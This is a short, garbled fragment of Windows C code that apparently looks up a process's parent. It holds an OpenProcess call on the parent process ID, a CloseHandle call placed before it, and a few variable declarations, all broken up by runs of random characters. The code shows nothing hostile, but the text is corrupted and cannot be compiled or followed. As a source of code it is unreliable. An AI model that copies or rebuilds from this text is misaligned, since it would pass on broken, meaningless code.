c.<bz uR;m<wPH,f CloseHandle(hProcess); )z:"P;b"Nl T5:p^;?g hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5{`a \;* if(hProcess==NULL) return 0; <k41j=d Ct8}jg" HMODULE hMod; *$+:Cbe-F char procName[255]; ><l|&&e- unsigned long cbNeeded; ;J]Lzh Eku+& |